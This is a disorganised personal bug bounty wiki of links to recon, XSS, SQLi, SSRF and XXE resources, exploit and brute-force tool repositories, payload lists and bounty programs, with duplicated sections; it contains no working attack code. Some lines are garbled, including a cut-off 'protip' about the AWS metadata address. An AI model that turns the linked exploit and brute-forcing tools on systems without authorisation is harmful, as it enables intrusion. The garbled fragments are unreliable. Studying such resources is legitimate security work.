js -> https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309\n  https://github.com/wisec/domxsswiki/wiki\n  https://github.sre.pub/topics/xss-scanners\n  https://owasp.org/www-community/attacks/xss/\n  Moving beyond alert()xss https://av.tib.eu/media/49191\n  https://unescape-room.jobertabma.nl/\n  https://infosecwriteups.com/reflected-xss-on-microsoft-com-subdomains-4bdfc2c716df\n  https://github.com/danielthatcher/Cookieless-Session-Scanner session is for identifying xss as described here   https://blog.isec.pl/all-is-xss-that-comes-to-the-net/\n\nXSS Labs\nhttps://google-gruyere.appspot.com/\n\n\n\nScreenshots\nhttps://github.com/detectify/page-fetch/fork\n\nEyeballer\nhttps://github.com/BishopFox/eyeballer <----- TODO BIG IG and [this](https://www.kaggle.com/datasets/altf42600/pentest-screensots)\nhttps://www.akamai.com/blog#HTTP2rs\nhttps://www.jhaddix.com/post/tooltime-2-ssl-certificate-parsers-for-recon\nRecon\nNotify -bulk - workflow to funnel everything to Notify https://youtu.be/v7FMPU3J3Qw?t=3044\nReconFTW Automation - https://youtu.be/v7FMPU3J3Qw?t=2841\nAutomation - what to do with all the subdomains  endpoints you found! https://youtu.be/v7FMPU3J3Qw?t=1864\n\nTools\nhttps://reconshell.com/awesome-bug-bounty-tools/\nhttps://reconshell.com/mobile-hackers-weapons/\nhttps://book.hacktricks.xyz/todo/more-tools\nhttps://github.com/fardeen-ahmed/Bug-bounty-Writeups#-bug-bounty-tools---\nhttps://github.com/vavkamil/awesome-bugbounty-tools#Recon\nImage upload\nhttps://github.com/barrracud4/image-upload-exploits\nhttps://hackbotone.com/blog/essential-recon-tools/\nhttps://github.com/danielthatcher/spydom\nhttps://allciber.com/web-attack-cheat-sheet/\n\nAlias / Snippet / Command Management\nhttps://github.com/nahamsec/recon_profile\nhttps://github.com/hahwul/hack-pet/commit/6405608c856551d241174d8c839c79efdff5153c\nhttps://github.com/hahwul/hack-pet\nhttps://github.com/knqyf263/pet\n\n\nhttps://github.com/anshumanbh/brutesubs\nhttps://github.com/VainlyStrain/Vailyn\n\nRECON\nhttps://gist.github.com/khanjanny/039d7c7d825a866b9020e3945e04ace9\nhttps://github.com/KathanP19/HowToHunt\nhttps://prettyrecon.com/auth/forgot_password/\n\nTweets Dorks\nhttps://twitter.com/hashtag/bugbountytips\nhttps://twitter.com/search?q=%23bugbountytips&cn=ZmxleGlibGVfcmVjcw%3D%3D&refsrc=email\nhttps://twitter.com/ghostlulz1337\n\nhttps://www.google.com/search?client=firefox-b-1-d&q=site%3Agist.github.com+%22dalfox%22+automate\nhttps://gist.github.com/sec99\nhttps://gist.github.com/Bedrovelsen/starred\nhttps://gist.github.com/tranphuoctien/47c1242c8189b42fb4d268c548db4526\nhttps://gist.github.com/GrahamcOfBorg/601b9608c6010d9c82cf0e9535faac4b\nhttps://gist.github.com/babaloveyou\nhttps://www.google.com/search?client=firefox-b-1-d&q=bug+bountny+automation\nhttps://www.reddit.com/r/bugbounty/comments/nkaz32/automation_for_bug_bounty_recon_framework/\nhttps://github.com/dirsoooo/Recon\nhttps://gowthams.gitbook.io/bughunter-handbook/automation\n\n\nCrawlers / Crawling\nhttps://github.com/Echocipher/HackeroneSpider\nxnLinkFinde\nhttps://github.com/spatie/crawler\nhttp://www.robotstxt.org/\nhttps://github.com/BruceDone/awesome-crawler\nhttps://github.com/tijme/not-your-average-web-crawler\nhttps://github.com/ghostlulzhacks/crawler\nhttps://scotthelme.co.uk/top-1-million-analysis-march-2020/\n\nhttps://crawler.ninja/\n\n  \n\n\nSqli\n  https://sapt.medium.com/sqli-on-a-bugcrowd-private-program-17858b57ec61\n  http://sqlninja.sourceforge.net/download.html\n  https://w3af.org/howtos/find-cross-site-scripting-and-sql-injections\n  https://www.securedyou.com/how-to-hack-sql-database-password-cracking/\n  https://www.securedyou.com/download-havij-free-automated-sql-injection-tool/\n\nsqlmap\n  https://h1pmnh.github.io/post/advanced-sqlmap-case-study-1\n\nDefault Credentials \nhttps://github.com/Excloudx6/WebCrack\n  The Open Cloud Vulnerability & Security Issue Database  https://www.cloudvulndb.org/\n  \n  https://github.com/SummitRoute/csp_security_mistakes\n  Default Cred Scanner https://github.com/ztgrace/changeme\n  \n\n  \nFile Upload\nhttps://sm4rty.medium.com/hunting-for-bugs-in-file-upload-feature-c3b364fb01ba\nhttps://github.com/almandin/fuxploider - File upload vulnerability scanner and exploitation tool. \n\n\nMonitor Server Status\nhttps://github.com/sudo-jtcsec/server-status-mon\nhttps://github.com/Excloudx6/server-status_PWN\n\nTmux https://github.com/Excloudx6/clips\n# My Bug Bounty Wiki Page\nhttps://github.com/MrM8BRH/SuperLibrary\nhttps://github.com/zeroc00I/ReconNotes\n   https://gist.github.com/ruevaughn/71c31d7f67b7d105d9f480489e02c906\n\n\nA-Z Sorting in progress\nAwsCli https://aws.plainenglish.io/aws-s3-cli-cheatsheet-9078366fca83\nWelcome to my Bug Bounty Wiki page. It's currently not organized or cleaned up at all though that's a WIP. Originally was where I was dumping links and things I needed to rememnber.\nNews Articles\nhttps://www.bbc.com/news/technology-43581624\n\nhttps://bugs.chromium.org/p/project-zero/issues/detail?id=1524\n\nDeserialisation\nDeserialization example <-https://youtu.be/oUAeWhW5b8c?t=1583\nAnother Deserialization example https://youtu.be/eDfGpu3iE4Q?t=266\nhttps://github.com/GerbenJavado/LinkFinder\nhttps://medium.com/@duhroach/how-png-works-f1174e3cc7b7\n\n\nhttps://github.com/beurtschipper/Depix <-- unblur \n\n### A\n\nTwitter\nhttps://mobile.twitter.com/drunkrhin0/status/1344130730947825664\n\n\nhttps://kathmandupost.com/science-technology/2021/04/06/we-dream-to-be-nepal-s-first-billion-dollar-it-company\nhttps://reconwithme.com/\n\nhttps://jaeles-project.github.io/\n\nAPIs\nHuge API Resources list! https://dsopas.github.io/MindAPI/references\nhttps://thexssrat.podia.com/view/courses/free-api-testing-and-securing-guide/923506-api-top-10-videos/2699995-owasp-api-top-10-a0-to-a3\n\nhttps://www.hahwul.com/2019/07/01/easy-security-testing-with-applications-bridge-in-zap/\nhttps://github.com/PortSwigger\n\n### B\nBooks https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/BOOKS.md\nhttps://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html\nhttps://guidesmiths.github.io/cybersecurity-handbook/resources\nhttps://guidesmiths.github.io/cybersecurity-handbook/tooling\n\n\nhttps://github.com/1N3/Sn1per/blob/master/modes/normal_webporthttp.sh\nBlogs\nhttps://opsecx.com/index.php/category/blog/\n\n\nUrl FInder\nhttps://www.kitploit.com/2021/08/sigurlfind3r-reconnaissance-tool-it.html\n\n403 Bypasser\nhttps://www.kitploit.com/2021/11/4-zero-3-403401-bypass-methods-bash.html\nhttps://www.kitploit.com/2021/09/403bypasser-automates-techniques-used.html\n\nOauth\n#### Oauth Bug Bounty Cheatheet\nhttps://0xn3va.gitbook.io/cheat-sheets/web-application/oauth-2.0-vulnerabilities\nhttps://anil-pace.medium.com/json-web-tokens-vs-oauth-2-0-85dd0b32057d\n\nEmail\nhttps://www.ibm.com/docs/en/sqsp/32.0?topic=SSBRUQ_32.0.0/com.ibm.resilient.doc/install/resilient_install_defang s.htm\n\nNuclei\nNuclei : A Bug Bounty Tool https://www.youtube.com/watch?v=ZcG8ARatgs0\nhttps://www.reddit.com/r/infosec_daily/comments/lrz9bg/nuclei_tool_review/\nFinding bugs with Nuclei with PinkDraconian (Robbe Van Roey) https://www.youtube.com/watch?v=ewP0xVPW-Pk\n\nNuclei templates\nhttps://github.com/xm1k3/cent <-- manage nuclei tempaltes and ibg list of templateseeeeeeeeeeeeeeeeeee\nhttps://github.com/aboul3la/nuclei-templates\nhttps://github.com/projectdiscovery/nuclei-templates/compare/master...s4e-labs:nuclei-templates:master\nhttps://github.com/projectdiscovery/nuclei-templates/discussions/693\nhttps://nuclei-templates.netlify.app/\n\ncool\nhttps://github.com/nikitastupin/param-miner-doc\n\n\nrxrdxrhttps://platforms.disclose.io/\nhttps://cardanofeed.com/cardano-doubled-the-rewards-for-its-bug-bounty-program-49977.html\nhttps://portswigger.net/daily-swig/bug-bounty-radar-the-latest-bug-bounty-programs-for-march-2022\nhttps://portswigger.net/daily-swig/cloudflare-bug-bounty-program-goes-public-with-3-000-rewards-on-offer\n\n\n### C\n\nFuzzing\nhttps://thugcrowd.com/kiosk/ Badass Fuzzing tools / Resources\nhttps://0xn3va.gitbook.io/cheat-sheets/resources/software/fuzzing\n\nBug Bounty Videos\nMix - webpwnized https://www.youtube.com/watch?v=Y_2JVREtDFk&list=RDCMUCPeJcqbi8v46Adk59plaaXg&start_radio=1\nBreaking Parser Logic: Take Your Path Normalization off and Pop 0days Out! - https://www.youtube.com/watch?v=CIhHpkybYsY&t=2s\nVideos\n  HackTube5 Youtube https://www.youtube.com/channel/UCiiEXWVI8XDV_SbIOYVuKog\n  GynvaelEN https://www.youtube.com/user/GynvaelEN\n  Hacktify https://www.youtube.com/channel/UCS82DNnKOhXHcGKxGzQvNSQ\n  Hack the Box Youtube https://www.youtube.com/channel/UCi67lRCd5qpaHwSXNJisuRQ\n  Hackerone https://www.youtube.com/channel/UCsgzmECky2Q9lQMWzDwMhYw\n  Hackersploit https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q\n  Hacking Simplified https://www.youtube.com/channel/UCARsgS1stRbRgh99E63Q3ng\n  Hacking Simplifed (smaller channel) https://www.youtube.com/channel/UCTIHXPYJ4gT7PBQK9tUmFJA\nhttps://administraitor.video/edition/Hack.lu/2019\n\nhttps://portswigger.net/news\n\nNotify - https://youtu.be/rbr7ZmBI9qs?t=278\n\nhttps://www.youtube.com/watch?v=kbi2KaAzTLg\n\nWhat after Recon? - Sup Subdomains?!\n\n\nDORK\n  https://exposingtheinvisible.org/guides/google-dorking/\nhttps://www.google.com/imgres?imgurl=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FEf6ELytWAAAswXx%3Fformat%3Djpg%26name%3D4096x4096&imgrefurl=https%3A%2F%2Fmobile.twitter.com%2Fbugbountyrecon&tbnid=pQu57Q5pha2WIM&vet=12ahUKEwixtNqk0vz1AhV0IX0KHWddCpQQMygLegUIARC-AQ..i&docid=NghhHzdXU7Ey8M&w=2480&h=1302&q=Bug%20bounty%20automation%20GitHub&client=firefox-b-1-d&ved=2ahUKEwixtNqk0vz1AhV0IX0KHWddCpQQMygLegUIARC-AQ\nhttps://github.com/bughunterlabs/open-bounty-targets/blob/main/dorks.txt\n\nReporting\nhttps://hacktify.in/bugbounty/ <---- lots of resources for reporting\n\n\n#### Ruby on Rails\nhttps://hackerone.com/reports/904059\nhttps://hackerone.com/reports/1400309\nhttps://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md\nhttps://bugbountyforum.com/resources/#ruby-on-rails\n\nFree Shodan key and nmap automatin script to search for big f5 ip acve\nhttps://learn.hacktify.in/courses/take/bug-bounty-hunting-and-penetration-testing/lessons/16862042-assets-resources\nhttps://github.com/shifa123/f5BigIPExploit/blob/master/assets\ndnmap\nhttps://github.com/vdjagilev/nmap-formatter\nhttps://www.darknet.org.uk/2016/07/dnmap-distributed-nmap-framework/?utm_source=pocket-ff-recs\nhttps://github.com/alt3kx/CVE-2021-21985_PoC/blob/main/CVE-2021-21985.nse\n# https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse\n# https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve2020-3452.nse\naquatone - https://gist.github.com/random-robbie/beae1991e9ad139c6168c385d8a31f7d\nhttps://www.tib.eu/en/publishing-archiving/research-data\nhttps://github.com/erbbysam/Hunting-Certificates-And-Servers/blob/master/Hunting%20Certificates%20%26%20Servers.pdf\nBug Bouty Programs\nhttps://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html\nhttps://guidesmiths.github.io/cybersecurity-handbook/resources\nhttps://guidesmiths.github.io/cybersecurity-handbook/tooling\n\n\nrxrdxrhttps://platforms.disclose.io/\nhttps://cardanofeed.com/cardano-doubled-the-rewards-for-its-bug-bounty-program-49977.html\nhttps://portswigger.net/daily-swig/bug-bounty-radar-the-latest-bug-bounty-programs-for-march-2022\nhttps://portswigger.net/daily-swig/cloudflare-bug-bounty-program-goes-public-with-3-000-rewards-on-offer\n\nhttps://hackerone.com/alipay?type=team\nhttps://render.alipay.com/p/c/183ecyeztvuo/dana-pay.html\n\nDisclosure Assistance w/ Hackerone https://hackerone.com/disclosure-assistance/disclosure_assistance_requests/new?type=team\n* [Disclose.io - program List Data](https://raw.githubusercontent.com/disclose/diodb/master/program-list.json)\n\nhttps://github.com/detectify/cs-challenge\nhttps://github.com/bughunterlabs/open-bounty-targets/blob/main/dorks.txt\n\nVDP\nDutch Gov - bug bounty scope https://gist.github.com/ruevaughn/f2d1157598a6156c3d51538b3fbd980c\nhttps://www.justice.gov/criminal-ccips/page/file/983996/download\n\"Bug Bounty programs|VDP|launch\" -> Google News etc\n\n\n\n#### J\n\n\n#### L\n\nLabs\n\nLinux\nhttps://linuxsecurity.expert/resources/\n\n#### M\n\nMonitoring\nhttps://github.com/dgtlmoon/changedetection.io Monitor Website Changes\n\n### P\n\n#### Podcasts\nLinks here -> https://blog.intigriti.com/2019/11/12/bug-bytes-44-new-platform-new-programs-and-a-e25k-head-csrf/\nSelfHosted Podcast https://selfhosted.show/60?t=777\n\nPrograms\nhttps://github.com/bughunterlabs/open-bounty-targets/blob/main/dorks.txt\n\n### R\n#### \n#### Reverse Shells\n\n### Rate Limit\n\n\n### T\nTop 10\n\nDNS Hijacking\nhttps://www.cloudflare.com/en-ca/learning/security/global-dns-hijacking-threat/\nhttps://github.com/mdsecresearch/Publications/blob/master/presentations/Offensive%20Development%20-%20Post-Exploitation%20Tradecraft%20in%20an%20EDR%20World%20-%20x33fcon%202020.pdf\n\nIDN Homograph\nhttps://www.akamai.com/blog/security/watch-your-step-the-prevalence-of-idn-homograph-attacks\n\n\n#### Tools\nhttps://www.xmind.net/m/Xy7XEW/# <----- \nhttps://github.com/Excloudx6/PentestTools#exploitation-tools\nhttps://linuxsecurity.expert/security-tools/top-100/\nhttps://intelx.io/tools\nhttps://github.com/nccgroup/ScoutSuite/tree/master/tools\nClean Ips Script\nhttps://gist.github.com/LuD1161/bd4ac4377de548990b47b0af8d03dc78\n### D\nhttps://github.com/nccgroup/tracy\n\n#### Todo\nhetty.xyz\nhttps://www.bugbountyhunting.com/\n    \nhttps://github.com/KingOfBugbounty/KingOfBugBountyTips#scan-log4j-using- -and-log4j-scan\nhttps://medium.com/hacking-info-sec/how-to-install-and-use-bbrf-35f6aa15fbc9\n\nhttps://github.com/Excloudx6/Guide-to-SSRF\nhttps://github.com/alphaSeclab/sec-daily-2020\nhttps://github.com/KathanP19/HowToHunt/blob/master/CheckList/mindmap.png\nhttps://github.com/topics/bugbounty\nhttps://gist.github.com/R0X4R/bc08d55e368965f22c0b41ee8475ba87\nSSRF\nhttps://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Big.pdf\nNmap\nhttps://github.com/killswitch-GUI/PenTesting-Scripts/blob/master/Nmap-Strings\nhttps://www.bugcrowd.com/blog/getting-started-bug-bounty-hunter-methodology/\nhttps://github.com/SmeegeSec/Security_Headers_Nmap_Parser\n\nssh bruting\n A simple multi-threaded distributed SSH brute-forcing tool written in Python  https://github.com/k4yt3x/orbitaldump\nhttps://github.com/d3vilbug/Brutal_SSH\n\nxsshunter\nhttps://github.com/mystech7/xsshunter - duplicate within 15 min check added\n\nhttps://gosecure.github.io/security-cheat-sheet/\n\n\nhttps://twitter.com/e11i0t_4lders0n/status/1489234267687497735\nhttps://snyk.io/log4j-vulnerability-resources/\n\n\n\nhttps://gist.github.com/sminez/571bd7bafb1b88630b85c85a0cd66e3a - grep through this\ntry\nhttps://github.com/arjunshibu/gcmd\n\nhttps://splash.readthedocs.io/en/stable/scripting-tutorial.html#scripting-tutorial\nhttps://github.com/phlmox\n\nRecon\n  https://github.com/Viralmaniar/BigBountyRecon\nhttps://www.kitploit.com/2021/10/webdiscover-purpose-of-this-script-is.html\nhttps://www.cobalt.io/blog/scope-based-recon-smart-recon-tactics\n\nChecklists\nhttps://gist.github.com/jhaddix/6b777fb004768b388fefadf9175982ab\nhttps://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web_Checklist_by_Chintan_Gurjar.pdf\nhttps://blog.assetnote.io/2021/01/13/blind-ssrf-chains/\nhttps://gist.github.com/pdelteil/ba005609789ae14862f023da4191826d\nhttps://github.com/rails/rails/issues/37620\nSUBDOMAIN TAKEOVERS\nhttps://kathan19.gitbook.io/howtohunt/subdomain-takeover/easy_methods\nhttps://www.udemy.com/course/cloud-hacking/learn/lecture/8613164?start=0#overview\nhttps://github.com/indianajson/can-i-take-over-dns\n\n\nhttps://scotthelme.co.uk/top-1-million-analysis-march-2020/\n\nFINISH Watching - https://www.youtube.com/watch?v=12gtkYbMGd4&t=362s\nHARSHBROTHA - https://www.youtube.com/watch?v=UrdvDCb4Gz8\nNOTIFY - https://www.youtube.com/watch?v=rbr7ZmBI9qs\nHandle your data carefully https://www.y\noutube.com/watch?v=rbr7ZmBI9qs\n\nUserAgents\nhttps://github.com/Shaked/user-agents\nhttps://github.com/BbhunterOne/ReconChef/blob/main/recon.sh#L82\n\nScreenshots\nhttps://github.com/spatie/browsershot\n# https://github.com/maaaaz/webscreenshot\nhttps://random-robbie.github.io/bugbounty-scans/\nhttps://buaq.net/go-99375.html\nhttps://stackoverflow.com/questions/5258977/are-http-headers-case-sensitive?rq=1\n\ncheatsheets\nhttps://0xn3va.gitbook.io/cheat-sheets/\nhttps://0xn3va.gitbook.io/cheat-sheets/web-application/http-request-smuggling\n   _   _   _   _   _   _   _   _   _   _  \n  / \\ / \\ / \\ / \\ / \\ / \\ / \\ / \\ / \\ / \\ \n ( F | R | A | M | E | W | O | R | K | S )\n  \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \n\n+ ------ +\n |Articles|\n + ------ +\n\n* E.crack jwt - https://github.com/brendan-rius/c-jwt-cracker\n\nhttps://github.com/SecureAuthCorp/impacket\nNeo4j vs postgres (graphdb)\nhttps://edoverflow.com/2019/ci-knew-there-would-be-bugs-here/\n\nAutomation script \nhttps://www.benteveo.kiwi/blog/automating-bug-bounties\nhttps://github.com/AlexisAhmed/BugBountyToolkit <-- docker \nhttps://gowthams.gitbook.io/bughunter-handbook/automation\n\n\nSecret\nhttps://www.directdefense.com/csrf-in-the-age-of-json/\n\nhttps://buaq.net/go-249.html\n\nIntentionally Vulnerable Github repo\nhttps://github.com/shifa123/githubleak\n\nhttps://wiki.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contentsfff\nhttps://pentestbook.six2dez.com/\nhttps://github.com/m4ll0k\nhttps://github.com/six2dez\nhttps://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter\nhttps://github.com/shifa123\nhttps://www.udemy.com/course/web-application-ethical-hacking/learn/lecture/3305350?start=0#overview\n\n## BugBounty Programs\n---\nhttps://huntr.dev/\nhttps://www.zerodayinitiative.com/\nhttps://greedybucks.medium.com/bug-bounty-programs-beginners-should-try-fe51cebe52a5\nhttps://opensourcelibs.com/lib/google-acquisitions\nhttps://opensourcelibs.com/libs/bugbounty\nList of .gov\n\nTatget crypto https://arlolra.github.io/otr/\nhttps://github.com/cisagov/dotgov-data\n[FireBounty](https://firebounty.com) The Ultimate Vulnerability Disclosure Program. FireBounty, aggregate your bounty.\n[Disclose.io](https://disclose.io/programs/) We're here to make vulnerability disclosure safe, simple, and standardized for everyone.\n[Security Ninja txt valuess list](https://crawler.ninja/files/security-txt-values.txt)\n[Security Ninja Files List](https://crawler.ninja/files/)\n\nhttps://allabouttesting.org/\n\nTodo:\nhttps://boards.greenhouse.io/cobaltio/jobs/4141074002 <--- solve challenge\n\n\nCheatSheets\nhttps://github.com/six2dez/bitup2021_subdominions/blob/main/Cheatsheet.md\n\n\n\n\nAutomated Scanners\n\n* [Zeus-Scanner](https://github.com/Ekultek/Zeus-Scanner)\n* [Dalfox](https://github.com/hahwul/dalfox)\n* [XSSTrike](https://github.com/s0md3v/XSStrike)\n* [SSTI-xssfinder](https://awesomeopensource.com/project/darklotuskdb/SSTI-XSS-Finder?categoryPage=47)\n\n[SSTI-XSS-Finder](https://github.com/darklotuskdb/SSTI-XSS-Finder)\n  * [Learn with @DarkLotusKDB: Recon with Shodan & Spyse,XSS, Bypass OpenRedirects, SSRF, BugBunty Bot!!!](https://www.youtube.com/watch?v=66HqaFCF4Kk)\n  * https://twitter.com/0xJin/status/1470748925963513863\n  * https://twitter.com/0xJin/status/1470748925963513863/photo/1\n\n\nXXE\nhttps://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity\nhttps://app.intigriti.com/programs/dpgm/libelle/detail\nhttps://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html\nhttps://twitter.com/infosec_au/status/1340785029899698181?lang=en\nhttps://web-in-security.blogspot.com/2014/11/detecting-and-exploiting-xxe-in-saml.html\n\nUnderstanding DTD-< https://web-in-security.blogspot.com/2014/11/detecting-and-exploiting-xxe-in-saml.html\n\n\n## Owasp Top 10\n---\nhttps://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/WhatsNew.html\n### Clickjacking\nhttps://lcamtuf.blogspot.com/2011/12/x-frame-options-or-solving-wrong.html\nhttps://blog.innerht.ml/page/2/\nhttps://hackerone.com/reports/8724\n\n### CSRF\n    * https://hackerone.com/reports/44146\n   - 7-19-16 \n     * [CSRF attack on paypal.me](https://www.youtube.com/watch?v=RjS47ojRQXk&t=5s)\n     * https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/\n   - 01-18-15 https://hackerone.com/reports/44146(Make API calls on behalf of another user (CSRF protection bypass))\n### XSS\n\nPaid Services\nhttps://findomain.app/#Pricing\n\n## Resources\n---\n\n\nParams\nConfig override using non-validated query parameter allows at least reflected XSS by injecting configuration into state \nhttps://hackerone.com/reports/1082847\n\nFuzzcon & fuzzung\nhttps://twitter.com/hashtag/hacklu?src=hashtag_click\nhttps://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Fuzzing.md\n\nRecoon \neiIaaefwaaa m\nk\n- https://kathan19.gitbook.io/howtohunt/sensitive-info-leaks/shodan_cve_dorks\n\n[PrettyRecon](https://prettyrecon.com/auth/signup)\n\n### Dorks\nhttps://ask.fm/tags/bounty\n\n### Lists\nhttps://github.com/payloadbox/xss-payload-list\n\nProtips and Trips\nMost of the sites use AWS nowadays...\n  AWS localhost is 169.254.169.2qqqd eede                                   4bs.com/2017/02/wallpaper-penetration-testing-and-exploit-dev-cheatsheet/\n\nhttps://githubhelp.com/topic/bugbountytips\n\n\nGithubs\nhttps://github.com/kleiton0x00?tab=stars\nhttps://github.com/fuzz-security\n\n---\n\n  - [Book of secret knowledge](https://github.com/ruevaughn/the-book-of-secret-knowledge)\n  - [Disclose/diodb](https://github.com/disclose/diodb)\n  -\n\n### Streams\n[Nehamsec Twitch](https://www.twitch.tv/nahamsec)\n\n### Twitter Tweetin'\nhttps://twitter.com/0xMstar/status/1464658472981565444{{\nhttps://twitter.com/0xJin/status/1470748925963513863\n\npodcasts\nhttps://open.spotify.com/episode/2VaH6DgbghMEiaimqdxq4Q\n### Data\n---\nBugcrowd Subdomain Enumeration https://www.youtube.com/watch?v=La3iWKRX-tE\n\n\nCVE-2019-11510 Detail \n/dana-na\n\n## CVE/CVD\n---\n\nCVE [2020-3452](https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter)xx\n\n- https://vuls.cert.org/confluence/display/CVD/Executive+Summary\n- https://vuls.cert.org/confluence/display/CVD/Sightings\n\n\n\n\n\nhttps://github.com/detectify/cs-challenge\nhttps://github.com/r3curs1v3-pr0xy\n\nhttps://notsosecure.com/resources\nhttps://reconshell.com/bug-bounty-tips/\n\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Subdomains%20Enumeration.md\n[Insecure Deserialization Part 1](https://www.youtube.com/watch?v=SNi7gNkfLSM)\n[Insecure Deserialization part 3](https://www.youtube.com/watch?v=icAKHE-iKOs)\n\nhttps://secoceans.com/blog-2/\nhttps://portswigger.net/research\nhttps://portswigger.net/blog\nhttps://portswigger.net/news\nhttps://portswigger.net/daily-swig\n\n\ncourses\nhttps://www.udemy.com/course/penetration-testing-bug-bounty-hunting-level-2-hacktify/\n\n\n\n\nhttps://spongebhav.medium.com/facebook-group-members-disclosure-e53eb83df39e\nhttps://github.com/six2dez/talks/blob/main/Gotta_ENG.pdf\n\n\n\npackets\nhttps://www.kitploit.com/2018/08/polymorph-real-time-network-packet.html\n\n\nAutomation\nhttps://gowthams.gitbook.io/bughunter-handbook/automation\n[Automated subdomain scanning with Findomain, PostgreSQL and Webhooks](https://medium.com/heck-the-packet/automated-subdomain-scanning-with-findomain-postgresql-and-webhooks-3e74ce9b5372)\n\n\n\nhttps://pentestbook.six2dez.com/\nhttps://github.com/m4ll0k\nhttps://github.com/six2dez\nhttps://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter\nhttps://github.com/shifa123\n\nWriteups\n\n\n## BugBounty Programs\n---\n\nhttps://greedybucks.medium.com/bug-bounty-programs-beginners-should-try-fe51cebe52a5\nhttps://opensourcelibs.com/lib/google-acquisitions\nhttps://opensourcelibs.com/libs/bugbounty\nList of .gov\nhttps://github.com/cisagov/dotgov-data\n[FireBounty](https://firebounty.com) The Ultimate Vulnerability Disclosure Program. FireBounty, aggregate your bounty.\n[Disclose.io](https://disclose.io/programs/) We're here to make vulnerability disclosure safe, simple, and standardized for everyone.\n[Security Ninja txt valuess list](https://crawler.ninja/files/security-txt-values.txt)\n[Security Ninja Files List](https://crawler.ninja/files/)\n\nhttps://allabouttesting.org/\n\n\nCheatSheets\nhttps://github.com/six2dez/bitup2021_subdominions/blob/main/Cheatsheet.md\n\n### Z\n\nZap\nhttps://github.com/sepehrdaddev/zap-scripts/fork\nhttps://www.zaproxy.org/authors/thorin/\nhttps://github.com/zaproxy/zap-extensions\n\n\n\nFrameworks\nhttps://core.intrigue.io/\nReconness\nPwnmachine\naxiom\nhttps://www.mandiant.com/\nhttps://trickest.com/\n\n(https://github.com/Findomain/Findomain/releases)\n*   [Configuing Findomain](https://www.youtube.com/watch?v=Wpm2C1LD9ns)\n*   https://github.com/findomain/findomain/blob/master/README.md#subdomains-monitoring\n\nAutomated Scanners\n\n* [Zeus-Scanner](https://github.com/Ekultek/Zeus-Scanner)\n* [Dalfox](https://github.com/hahwul/dalfox)\n* [XSSTrike](https://github.com/s0md3v/XSStrike)\n* [SSTI-xssfinder](https://awesomeopensource.com/project/darklotuskdb/SSTI-XSS-Finder?categoryPage=47)\n\n\n\nhttps://github.com/darklotuskdb/SSTI-XSS-Finder\n  * [Learn with @DarkLotusKDB: Recon with Shodan & Spyse,XSS, Bypass Op enRed irects, SSRF, BugBunty Bot!!!](https://www.youtube.com/watch?v=66HqaFCF4Kk)\n  * https://twitter.com/0xJin/status/1470748925963513863\n  * https://twitter.com/0xJin/status/1470748925963513863/photo/1\n\n\n## Owasp Top 10\n---\n\n### Clickjacking\nhttps://hackerone.com/reports/8724\n\n### CSRF\n    * https://hackerone.com/reports/44146\n   - 7-19-16 \n     * [CSRF attack on paypal.me](https://www.youtube.com/watch?v=RjS47ojRQXk&t=5s)\n     * https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/\n   - 01-18-15 https://hackerone.com/reports/44146(Make API calls on behalf of another user (CSRF protection bypass))\n### XSS\n\nPaid Services\nhttps://findomain.app/#Pricing\n\n## Resources\n---\n[Automated subdomain scanning with Findomain, PostgreSQL and Webhooks](https://medium.com/heck-the-packet/automated-subdomain-scanning-with-findomain-postgresql-and-webhooks-3e74ce9b5372)\n How to view someones IP address and connection speed! https://www.youtube.com/watch?v=SXmv8quf_xM\nRecoon \neiIaaefwaaa m\nk\n- https://kathan19.gitbook.io/howtohunt/sensitive-info-leaks/shodan_cve_dorks\n\n[PrettyRecon](https://prettyrecon.com/auth/signup)\n\n### Dorks\nhttps://ask.fm/tags/bounty\n\n### Lists\nhttps://github.com/payloadbox/xss-payload-list\n\n### Githubs\n---\n\n  - [Book of secret knowledge](https://github.com/ruevaughn/the-book-of-secret-knowledge)\n  - [Disclose/diodb](https://github.com/disclose/diodb)\n  -\n\nActive Directory\nPenttesting Active Directory https://www.xmind.net/m/5dypm8/a\nhttps://adsecurity.org/\n\n### Streams\n[Nehamsec Twitch](https://www.twitch.tv/nahamsec)\nLive Bug Bounty Hunting Speedbiker https://www.youtube.com/watch?v=9W94AKLc5g8\nWatch Live [Current] https://www.youtube.com/c/Ch1R0n1n\n### Twitter Tweetin'\nhttps://twitter.com/samwcyo/status/1529888063576584202\nhttps://twitter.com/sshell_\nhttps://mobile.twitter.com/TechnoTimLive Devops tweets\nhttps://mobile.twitter.com/drunkrhin0/status/1344130729320435712\nhttps://twitter.com/0xMstar/status/1464658472981565444{{\nhttps://twitter.com/0xJin/status/1470748925963513863\n\npodcasts\nhttps://open.spotify.com/episode/2VaH6DgbghMEiaimqdxq4Q\n### Data\n---\n\n* [Disclose.io - program List Data](https://raw.githubusercontent.com/disclose/diodb/master/program-list.json)\n\nCVE-2019-11510 Detail \n/dana-na\n\n## CVE/CVD\n---\n\nCVE [2020-3452](https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter)xx\n\n- 